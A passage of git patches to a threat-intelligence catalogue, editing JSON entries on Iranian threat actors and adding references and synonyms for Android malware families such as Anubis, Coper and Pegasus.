From b8d4ffdbdeef905053f33209394195b96bb6d9ac Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Wed, 29 Jun 2022 20:13:33 +0200 Subject: [PATCH 001/167] Merge Cutting Kitten and Cleaver --- clusters/threat-actor.json | 103 +++++++------------------------------ 1 file changed, 20 insertions(+), 83 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index a59224d..9613598 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -1777,85 +1777,6 @@ "uuid": "ba724df5-9aa0-45ca-8e0e-7101c208ae48", "value": "Flying Kitten" }, - { - "description": "While tracking a suspected Iran-based threat group known as Threat Group-2889[1] (TG-2889), Dell SecureWorks Counter Threat Unit™ (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a self-referenced network of seemingly established LinkedIn users. CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering. Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889. One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016. ", - "meta": { - "attribution-confidence": "50", - "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)", - "cfr-suspected-victims": [ - "Bank of America", - "US Bancorp", - "Fifth Third Bank", - "Citigroup", - "PNC", - "BB&T", - "Wells Fargo", - "Capital One", - "HSBC" - ], - "cfr-target-category": [ - "Private sector" - ], - "cfr-type-of-incident": "Denial of service", - "country": "IR", - "refs": [ - "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/", - "https://www.cfr.org/interactive/cyber-operations/itsecteam" - ], - "synonyms": [ - "ITSecTeam", - "Threat Group 2889", - "TG-2889", - "Ghambar" - ] - }, - "related": [ - { - "dest-uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "86724806-7ec9-4a48-a0a7-ecbde3bf4810", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "42be2a84-5a5c-4c6d-9864-3f09d75bb0ba", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "d56c99fa-4710-472c-81a6-41b7a84ea4be", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "a0082cfa-32e2-42b8-92d8-5c7a7409dcf1", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "b96e02f1-4037-463f-b158-5a964352f8d9", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "11e17436-6ede-4733-8547-4ce0254ea19e", - "value": "Cutting Kitten" - }, { "description": "Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that targets organizations involved in government, defense technology, military, and diplomacy sectors.", "meta": { @@ -2177,13 +2098,25 @@ "India", "Kuwait", "Qatar", - "Turkey" + "Turkey", + "Bank of America", + "US Bancorp", + "Fifth Third Bank", + "Citigroup", + "PNC", + "BB&T", + "Wells Fargo", + "Capital One", + "HSBC" ], "cfr-target-category": [ "Private sector", "Government" ], - "cfr-type-of-incident": "Espionage", + "cfr-type-of-incident": [ + "Espionage", + "Denial of service" + ], "country": "IR", "refs": [ "https://www.cfr.org/interactive/cyber-operations/magic-hound", @@ -2198,7 +2131,9 @@ "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf", "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", "https://attack.mitre.org/groups/G0059/", - "https://attack.mitre.org/groups/G0003/" + "https://attack.mitre.org/groups/G0003/", + "https://www.cfr.org/interactive/cyber-operations/itsecteam", + "https://xorl.wordpress.com/2021/05/06/iran-cyber-operations-groups/" ], "synonyms": [ "Operation Cleaver", @@ -2206,6 +2141,7 @@ "Alibaba", "2889", "TG-2889", + "Threat Group 2889", "Cobalt Gypsy", "Rocket_Kitten", "Cutting Kitten", @@ -2216,7 +2152,8 @@ "TEMP.Beanie", "Ghambar", "G0059", - "G0003" + "G0003", + "ITSecTeam" ] }, "related": [ From d63c990dad053c14fc6277d50a7542f74fd896a5 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 30 Jun 2022 14:30:31 +0200 Subject: [PATCH 002/167] [threat-actors] Separate ITSecTeam from Cleaver --- clusters/threat-actor.json | 62 +++++++++++++++++++++++++++----------- 1 file changed, 44 insertions(+), 18 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 9613598..0b69ce8 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -2098,25 +2098,13 @@ "India", "Kuwait", "Qatar", - "Turkey", - "Bank of America", - "US Bancorp", - "Fifth Third Bank", - "Citigroup", - "PNC", - "BB&T", - "Wells Fargo", - "Capital One", - "HSBC" + "Turkey" ], "cfr-target-category": [ "Private sector", "Government" ], - "cfr-type-of-incident": [ - "Espionage", - "Denial of service" - ], + "cfr-type-of-incident": "Espionage", "country": "IR", "refs": [ "https://www.cfr.org/interactive/cyber-operations/magic-hound", @@ -2132,7 +2120,6 @@ "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", "https://attack.mitre.org/groups/G0059/", "https://attack.mitre.org/groups/G0003/", - "https://www.cfr.org/interactive/cyber-operations/itsecteam", "https://xorl.wordpress.com/2021/05/06/iran-cyber-operations-groups/" ], "synonyms": [ @@ -2152,8 +2139,7 @@ "TEMP.Beanie", "Ghambar", "G0059", - "G0003", - "ITSecTeam" + "G0003" ] }, "related": [ @@ -9476,7 +9462,47 @@ }, "uuid": "091a0b69-74de-44b6-bb12-16b7a8fd078b", "value": "ToddyCat" + }, + { + "description": "One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.", + "meta": { + "attribution-confidence": "50", + "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)", + "cfr-suspected-victims": [ + "United States", + "Bank of America", + "US Bancorp", + "Fifth Third Bank", + "Citigroup", + "PNC", + "BB&T", + "Wells Fargo", + "Capital One", + "HSBC", + "AT&T", + "NYSE" + ], + "cfr-type-of-incident": [ + "Denial of service" + ], + "country": "IR", + "refs": [ + "https://www.cfr.org/interactive/cyber-operations/itsecteam", + "https://www.justice.gov/usao-sdny/file/835061/download" + ] + }, + "related": [ + { + "dest-uuid": "86724806-7ec9-4a48-a0a7-ecbde3bf4810", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "linked-to" + } + ], + "uuid": "7a3f505b-10e9-4177-a96f-d476b55fd3dd", + "value": "ITSecTeam" } ], - "version": 229 + "version": 230 } From 1212a75cc48e947fa26b9f1303ea924b5fbce42a Mon Sep 17 00:00:00 2001 From: marjatech Date: Mon, 4 Jul 2022 11:02:02 +0200 Subject: [PATCH 003/167] update malpedia --- clusters/malpedia.json | 9456 ++++++++++++++++++++++++++++++++++------ 1 file changed, 8075 insertions(+), 1381 deletions(-) diff --git a/clusters/malpedia.json b/clusters/malpedia.json index 608f7d7..2a086b8 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -20,6 +20,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash", + "https://www.cisa.gov/uscert/ncas/alerts/aa20-239a", "https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/", "https://github.com/fboldewin/FastCashMalwareDissected/", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", @@ -27,6 +28,9 @@ "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", "https://www.us-cert.gov/ncas/alerts/TA18-275A", + "https://www.cisa.gov/uscert/ncas/alerts/TA18-275A", + "https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", "https://www.youtube.com/watch?v=LUxOcpIRxmg", "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf", @@ -57,14 +61,36 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.aberebot", - "https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/" + "https://hothardware.com/news/escobar-banking-trojan-targets-mfa-codes", + "https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/", + "https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://blog.cyble.com/2022/03/10/aberebot-returns-as-escobar/", + "https://twitter.com/_icebre4ker_/status/1460527428544176128" + ], + "synonyms": [ + "Escobar" ], - "synonyms": [], "type": [] }, "uuid": "4b9c0228-2bfd-4bc7-bd64-8357a2da12ee", "value": "Aberebot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.abstract_emu", + "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://blog.lookout.com/lookout-discovers-global-rooting-malware-campaign" + ], + "synonyms": [], + "type": [] + }, + "uuid": "57a4c8c0-140a-45e3-9166-64e3e35c5986", + "value": "AbstractEmu" + }, { "description": "", "meta": { @@ -86,7 +112,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.adobot", - "https://twitter.com/LukasStefanko/status/1243198756981559296" + "https://twitter.com/LukasStefanko/status/1243198756981559296", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord" ], "synonyms": [], "type": [] @@ -130,29 +157,60 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.alien", "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", "https://info.phishlabs.com/blog/alien-mobile-malware-evades-detection-increases-targets", - "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", - "https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/" + "https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf", + "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", + "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", + "https://drive.google.com/file/d/1qd7Nqjhe2vyGZ5bGm6gVw0mM1D6YDolu/view?usp=sharing", + "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/" + ], + "synonyms": [ + "AlienBot" ], - "synonyms": [], "type": [] }, "uuid": "de483b10-4247-46b3-8ab5-77d089f0145c", "value": "Alien" }, + { + "description": "This malware was initially named BlackRock and later renamed to AmpleBot.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.amplebot", + "https://www.threatfabric.com/blogs/blackrock_the_trojan_that_wanted_to_get_them_all.html", + "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", + "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html" + ], + "synonyms": [ + "BlackRock" + ], + "type": [] + }, + "uuid": "2f3f82f6-ec21-489e-8257-0967c567798a", + "value": "AmpleBot" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anatsa", "https://www.cleafy.com/documents/teabot", + "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", "https://labs.k7computing.com/?p=22407", - "https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html", + "https://labs.k7computing.com/index.php/play-store-app-serves-teabot-via-github/", "https://twitter.com/ThreatFabric/status/1394958795508523008", "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", "https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/", + "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", "https://www.buguroo.com/hubfs/website/pdf/reports/buguroo-malware-report-Toddler_EN.pdf", - "https://twitter.com/_icebre4ker_/status/1416409813467156482" + "https://www.prodaft.com/m/reports/Toddler___TLPWHITE_V2.pdf", + "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", + "https://www.cleafy.com/cleafy-labs/teabot-is-now-spreading-across-the-globe", + "https://gbhackers.com/teabot-banking-trojan/", + "https://twitter.com/_icebre4ker_/status/1416409813467156482", + "https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html" ], "synonyms": [ "TeaBot", @@ -176,6 +234,7 @@ "https://github.com/DesignativeDave/androrat", "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg", "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/" ], "synonyms": [], @@ -185,7 +244,7 @@ "value": "AndroRAT" }, { - "description": "", + "description": "BleepingComputer found that Anubis will display fake phishing login forms when users open up apps for targeted platforms to steal credentials. This overlay screen will be shown over the real app's login screen to make victims think it's a legitimate login form when in reality, inputted credentials are sent to the attackers.\r\n\r\nIn the new version spotted by Lookout, Anubis now targets 394 apps and has the following capabilities:\r\n\r\nRecording screen activity and sound from the microphone\r\nImplementing a SOCKS5 proxy for covert communication and package delivery\r\nCapturing screenshots\r\nSending mass SMS messages from the device to specified recipients\r\nRetrieving contacts stored on the device\r\nSending, reading, deleting, and blocking notifications for SMS messages received by the device\r\nScanning the device for files of interest to exfiltrate\r\nLocking the device screen and displaying a persistent ransom note\r\nSubmitting USSD code requests to query bank balances\r\nCapturing GPS data and pedometer statistics\r\nImplementing a keylogger to steal credentials\r\nMonitoring active apps to mimic and perform overlay attacks\r\nStopping malicious functionality and removing the malware from the device", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubis", @@ -199,12 +258,14 @@ "https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/", "https://www.youtube.com/watch?v=U0UsfO-0uJM", "http://blog.koodous.com/2017/05/bankbot-on-google-play.html", + "https://muha2xmad.github.io/malware-analysis/anubis/", "https://securelist.com/mobile-malware-evolution-2019/96280/", "https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/", "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", "https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html", "http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html", "https://www.fortinet.com/blog/threat-research/bankbot-the-prequel.html", + "https://assets.virustotal.com/reports/2021trends.pdf", "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/ ", "https://community.riskiq.com/article/85b3db8c", "https://n1ght-w0lf.github.io/malware%20analysis/anubis-banking-malware/", @@ -212,6 +273,7 @@ "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", "https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/", "https://pentest.blog/n-ways-to-unpack-mobile-malware/", + "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/", "https://www.fortinet.com/blog/threat-research/a-look-into-the-new-strain-of-bankbot.html" ], "synonyms": [ @@ -311,6 +373,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut", + "https://mp.weixin.qq.com/s/YAAybJBAvxqrQWYDg31BBw", "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", "https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/", @@ -343,33 +406,26 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bianlian", "https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html", - "https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html" + "https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html", + "https://cryptax.medium.com/multidex-trick-to-unpack-android-bianlian-ed52eb791e56" + ], + "synonyms": [ + "Hydra" ], - "synonyms": [], "type": [] }, "uuid": "1faaa5c5-ab4e-4101-b2d9-0e12207d70fc", "value": "BianLian" }, - { - "description": "", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/apk.blackrock", - "https://www.threatfabric.com/blogs/blackrock_the_trojan_that_wanted_to_get_them_all.html", - "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html" - ], - "synonyms": [], - "type": [] - }, - "uuid": "2f3f82f6-ec21-489e-8257-0967c567798a", - "value": "BlackRock" - }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.brata", + "https://www.cleafy.com/cleafy-labs/brata-is-evolving-into-an-advanced-persistent-threat", + "https://www.cleafy.com/cleafy-labs/mobile-banking-fraud-brata-strikes-again", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://www.cleafy.com/cleafy-labs/how-brata-is-monitoring-your-bank-account", "https://securelist.com/spying-android-rat-from-brazil-brata/92775/" ], "synonyms": [], @@ -378,6 +434,19 @@ "uuid": "d9ff080d-cde0-48da-89db-53435c99446b", "value": "BRATA" }, + { + "description": "PRODAFT describes Brunhilda as a \"Dropper as a Service\" for Google Play, delivering e.g. Alien.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.brunhilda", + "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5d3d5f52-0a55-4c81-af87-7809ce43906b", + "value": "Brunhilda" + }, { "description": "", "meta": { @@ -391,6 +460,19 @@ "uuid": "4bf68bf8-08e5-46f3-ade5-0bd4f124b168", "value": "BusyGasper" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.capra_rat", + "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7cd1c5f3-7635-46d2-87f1-e638fb8d714c", + "value": "CapraRAT" + }, { "description": "", "meta": { @@ -424,7 +506,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.cerberus", "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", - "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/04/12075509/EN_The-State-of-Stalkerware-2021.pdf", "https://labs.bitdefender.com/2020/09/apps-on-google-play-tainted-with-cerberus-banker-malware/", "https://insights.oem.avira.com/in-depth-analysis-of-a-cerberus-trojan-variant/", "https://community.riskiq.com/article/85b3db8c", @@ -432,14 +514,16 @@ "https://blog.cyberint.com/cerberus-is-dead-long-live-cerberus", "https://go.recordedfuture.com/hubfs/reports/cta-2020-1016.pdf", "https://github.com/ics-iot-bootcamp/cerberus_research", - "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", + "https://securelist.com/the-state-of-stalkerware-in-2021/106193/", "https://nur.pub/cerberus-analysis", + "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", "https://www.biznet.com.tr/wp-content/uploads/2020/08/Cerberus.pdf", "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://twitter.com/AndroidCerberus" + "https://twitter.com/AndroidCerberus", + "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html" ], "synonyms": [], "type": [] @@ -477,6 +561,20 @@ "uuid": "6e0545df-8df6-4990-971c-e96c4c60d561", "value": "Charger" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.chinotto", + "https://blog.cyble.com/2021/12/06/apt37-using-a-new-android-spyware-chinotto/", + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6cc7b402-21cf-4510-be7d-d7f811a57bc1", + "value": "Chinotto (Android)" + }, { "description": "", "meta": { @@ -484,8 +582,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.chrysaor", "https://www.theguardian.com/news/2021/jul/18/viktor-orban-using-nso-spyware-in-assault-on-media-data-suggests", "https://thewire.in/tag/pegasus-project", + "https://zetter.substack.com/p/pegasus-spyware-how-it-works-and", "https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/", - "https://twitter.com/HackSysTeam/status/1418223814387765258?s=20", + "https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html", "https://citizenlab.ca/2021/08/bahrain-hacks-activists-with-nso-group-zero-click-iphone-exploits/", "https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html", "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-appendix-d/", @@ -494,40 +593,52 @@ "https://www.amnesty.org/en/latest/news/2021/07/the-pegasus-project/", "https://www.theguardian.com/world/2021/jul/18/revealed-leak-uncovers-global-abuse-of-cyber-surveillance-weapon-nso-group-pegasus", "https://www.washingtonpost.com/technology/2021/07/18/reactions-pegasus-project-nso/", - "https://www.washingtonpost.com/investigations/interactive/2021/nso-spyware-pegasus-cellphones/", + "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/", + "https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/", "https://forbiddenstories.org/about-the-pegasus-project/", - "https://www.theguardian.com/news/series/pegasus-project", + "https://irpimedia.irpi.eu/sorveglianze-cy4gate/", "https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html", "https://thewire.in/government/indian-army-bsf-raw-pegasus-spyware-threat", "https://www.washingtonpost.com/world/2021/07/19/india-nso-pegasus/", + "https://www.reuters.com/technology/how-saudi-womans-iphone-revealed-hacking-around-world-2022-02-17/", "https://www.washingtonpost.com/investigations/2021/07/18/takeaways-nso-pegasus-project/", "https://twitter.com/alexanderjaeger/status/1417447732030189569", "https://www.theguardian.com/news/2021/jul/18/revealed-murdered-journalist-number-selected-mexico-nso-client-cecilio-pineda-birto", "https://www.bleepingcomputer.com/news/security/iphones-running-latest-ios-hacked-to-deploy-nso-group-spyware/", + "https://citizenlab.ca/2022/04/catalangate-extensive-mercenary-spyware-operation-against-catalans-using-pegasus-candiru/", "https://twitter.com/billmarczak/status/1416801439402262529", "https://arkadiyt.com/2021/07/25/scanning-your-iphone-for-nso-group-pegasus-malware/", "https://www.vice.com/en/article/xgx5bw/amazon-aws-shuts-down-nso-group-infrastructure", "https://citizenlab.ca/2021/07/amnesty-peer-review/", - "https://www.washingtonpost.com/investigations/interactive/2021/jamal-khashoggi-wife-fiancee-cellphone-hack/?itid=co_pegasus_5", + "https://twitter.com/HackSysTeam/status/1418223814387765258?s=20", "https://media.ccc.de/v/33c3-7901-pegasus_internals", "https://thewire.in/media/pegasus-project-spyware-indian-journalists", - "https://zetter.substack.com/p/pegasus-spyware-how-it-works-and", + "https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/", "https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/", + "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", "https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/", "https://www.lemonde.fr/projet-pegasus/article/2021/07/18/au-maroc-comme-en-france-des-journalistes-mis-sous-surveillance-avec-le-logiciel-pegasus_6088654_6088648.html", + "https://www.washingtonpost.com/investigations/interactive/2021/jamal-khashoggi-wife-fiancee-cellphone-hack/?itid=co_pegasus_5", "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/", + "https://lifars.com/2022/01/forensics-analysis-of-the-nso-groups-pegasus-spyware/", "https://forbiddenstories.org/the-pegasus-project-a-worldwide-collaboration-to-counter-a-global-crime/", "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", "https://thewire.in/government/project-pegasus-journalists-ministers-activists-phones-spying", "https://nex.sx/blog/2021/08/03/the-pegasus-project.html", + "https://www.cyjax.com/2021/10/26/mercenary-apts-an-exploration/", + "https://www.washingtonpost.com/investigations/interactive/2021/nso-spyware-pegasus-cellphones/", "https://threatpost.com/nso-pegasus-spyware-bans-apple-accountability/167965/", + "https://objective-see.com/blog/blog_0x67.html", "https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso", + "https://citizenlab.ca/2021/11/palestinian-human-rights-defenders-hacked-nso-groups-pegasus-spyware/", "https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages", "https://blog.zecops.com/research/the-recent-ios-0-click-cve-2021-30860-sounds-familiar-an-unreleased-write-up-one-year-later/", "https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/", + "https://www.theguardian.com/news/series/pegasus-project", "https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html", "https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-android-technical-analysis.pdf", - "https://objective-see.com/blog/blog_0x67.html" + "https://citizenlab.ca/2022/04/peace-through-pegasus-jordanian-human-rights-defenders-and-journalists-hacked-with-pegasus-spyware/", + "https://citizenlab.ca/2020/12/the-great-ipwn-journalists-hacked-with-suspected-nso-group-imessage-zero-click-exploit/" ], "synonyms": [ "JigglyPuff", @@ -608,13 +719,22 @@ "value": "Connic" }, { - "description": "The malicious Coper apps have a modular architecture and a multi-stage infection mechanism. All known Coper banker trojan modifications target Colombian users to date. However, new versions targeting users from other countries are likely to emerge over time.", + "description": "Coper is a descendant of ExoBotCompat, which was a rewritten version of Exobot.\r\nMalicious Coper apps have a modular architecture and a multi-stage infection mechanism. Coper has originally been spotted in Colombia but has since emerged in Europa as well.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.coper", - "https://news.drweb.com/show/?p=0&lng=en&i=14259&c=0" + "https://thehackernews.com/2022/04/new-octo-banking-trojan-spreading-via.html", + "https://news.drweb.com/show/?p=0&lng=en&i=14259&c=0", + "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", + "https://twitter.com/_icebre4ker_/status/1541875982684094465", + "https://blog.cyble.com/2022/03/24/coper-banking-trojan/", + "https://cert.pl/posts/2021/12/aktywacja-aplikacji-iko/", + "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html" + ], + "synonyms": [ + "ExobotCompact", + "Octo" ], - "synonyms": [], "type": [] }, "uuid": "70973ef7-e031-468f-9420-d8aa4eb7543a", @@ -761,6 +881,19 @@ "uuid": "8990cec7-ddd8-435e-97d6-5b36778e86fe", "value": "DroidJack" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidwatcher", + "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "15f3e50b-9fa5-4eab-ac2b-928e9ce03b72", + "value": "DroidWatcher" + }, { "description": 